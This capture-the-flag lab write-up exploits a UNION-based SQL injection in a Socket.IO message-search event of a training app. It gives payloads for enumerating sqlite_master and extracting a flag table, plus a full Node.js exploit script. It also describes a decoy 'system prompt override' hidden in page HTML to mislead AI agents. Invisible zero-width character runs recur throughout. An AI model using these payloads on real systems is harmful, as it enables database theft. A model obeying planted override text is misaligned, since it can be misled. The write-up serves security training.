← Back to Writeups
CUSTOMMediumWeb

Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_detection#socket_io_event_injection#sqlite_master_enumeration#union_based_sqli#websocket_sqli

Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_detection, socket_io_event_injection, sqlite_master_enumeration, union_based_sqli, websocket_sqli

Summary

Walkthrough of the CUSTOM Web Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search. Task: LiveDesk customer support platform with WebSocket-based message search feature using SQLite. Solution: UNION-based SQL injection through Socket.IO search_messages event to enumerate sqlite_maste

Description

LiveDesk is a modern customer support platform built by PulseSupport Inc. It features real-time ticket management where support agents chat with customers through live WebSocket connections. The platform includes a knowledge base, ticket assignment, agent performance reports, and message history search.

The development team recently shipped a "Search Messages" feature in the ticket chat view that lets agents search through chat history within a ticket. The feature was rushed to meet a deadline and uses WebSocket events for a smoother real-time experience.

Goal: Find and exploit a vulnerability to retrieve a hidden flag stored somewhere in the system's database.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A customer support platform with real-time WebSocket chat. The "Search Messages" feature in ticket chat view accepts user input via Socket.IO events and passes it unsanitized into a SQLite LIKE query. The goal is to exploit this SQL injection to find and extract a hidden flag from the database.

Analysis

The application is an Express.js app using Socket.IO for WebSocket communication. Key findings during reconnaissance:

  1. Authentication: Standard session-based auth via connect.sid cookie, login at POST /login
  2. Dashboard: Shows tickets (#1, #5, #10) with various statuses
  3. Ticket chat: /tickets/:id loads Socket.IO and a custom /js/ticket-chat.js script
  4. Search feature: The ticket-chat.js reveals the WebSocket-based search flow:
    • Client emits search_messages event with { ticket_id: TICKET_ID, query: query }
    • Server responds with search_results event containing matching messages
    • Results have 4 fields: id, content, created_at, user_name
  5. SQL Injection confirmation: Sending a single quote (password') as the query returns { error: "Search failed" }, confirming unsanitized input is interpolated directly into the SQL query
  6. Backend query pattern: SELECT id, content, created_at, user_name FROM messages WHERE content LIKE '%{query}%' AND ticket_id = ... ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot/Decoy flag: The HTML source of every page contained a hidden decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in:

  • An HTML comment pretending to be a "SYSTEM" message
  • A hidden div with position:absolute;left:-9999px containing fake "congratulations" and "system prompt override" text
  • Designed to trick automated scanners and AI agents into reporting a fake flag

Solution

Step 1: Login and obtain session cookie

bash
curl -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123" \
  -L

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extract the connect.sid cookie value for WebSocket authentication.

Step 2: Connect to WebSocket and confirm SQL injection

Using socket.io-client, connect with the session cookie and join a ticket room:

javascript
const socket = io(BASE, {
  extraHeaders: { Cookie: COOKIE },
  transports: ["websocket"]
});

socket.on("connect", () => {
  socket.emit("join_ticket", { ticket_id: 1 });
});

Test for injection:

  • Normal search "password" → valid results
  • Search with "password'" → { error: "Search failed" } (confirms SQLi) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Determine column count

' UNION SELECT 1,2,3,4-- -

Response: { id: 1, content: 2, created_at: 3, user_name: 4 } — confirms 4 columns and their mapping.

Step 4: Enumerate database schema

' UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type='table'-- -

Found 6 tables:

  • users — application users
  • tickets — support tickets
  • messages — chat messages
  • kb_articles — knowledge base articles
  • sqlite_sequence — auto-increment tracking
  • system_flags — CREATE TABLE system_flags (id INTEGER PRIMARY KEY AUTOINCREMENT, flag_name TEXT NOT NULL, flag_value TEXT NOT NULL) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Extract the flag

' UNION SELECT 1,flag_value,flag_name,4 FROM system_flags-- -

Response: { id: 1, content: "FLAG{REDACTED}", created_at: "ctf_flag", user_name: 4 }

Full exploit script (Node.js)

javascript
const { io } = require("socket.io-client");

const BASE = "https://e17b712d-4db5-4ab8-93e2-3566af824fd6.labs.hackadvisor.io";
const COOKIE = "connect.sid=SESSION_COOKIE_HERE";

const socket = io(BASE, {
  extraHeaders: { Cookie: COOKIE },
  transports: ["websocket"]
});

socket.on("connect", () => {
  console.log("[+] Connected, socket id:", socket.id);
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  // Join ticket room first
  socket.emit("join_ticket", { ticket_id: 1 });

  // Wait a bit then inject
  setTimeout(() => {
    const query = process.argv[2] || "' UNION SELECT 1,flag_value,flag_name,4 FROM system_flags-- -";
    console.log("[*] Searching for:", query);
    socket.emit("search_messages", {
      ticket_id: 1,
      query: query
    });
  }, 500);
});

socket.on("search_results", (data) => {
  console.log("[+] Search results:");
  console.log(JSON.stringify(data, null, 2));
  socket.disconnect();
});
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

socket.on("connect_error", (err) => {
  console.error("[-] Connection error:", err.message);
  socket.disconnect();
});

setTimeout(() => {
  console.log("[-] Timeout");
  socket.disconnect();
  process.exit(1);
}, 10000);

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_detection, socket_io_event_injection, sqlite_master_enumeration, union_based_sqli, websocket_sqli was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-06 • CUSTOM • Lab 226 — LiveDesk — SQL Injection via WebSocket Message Search • Difficulty: Medium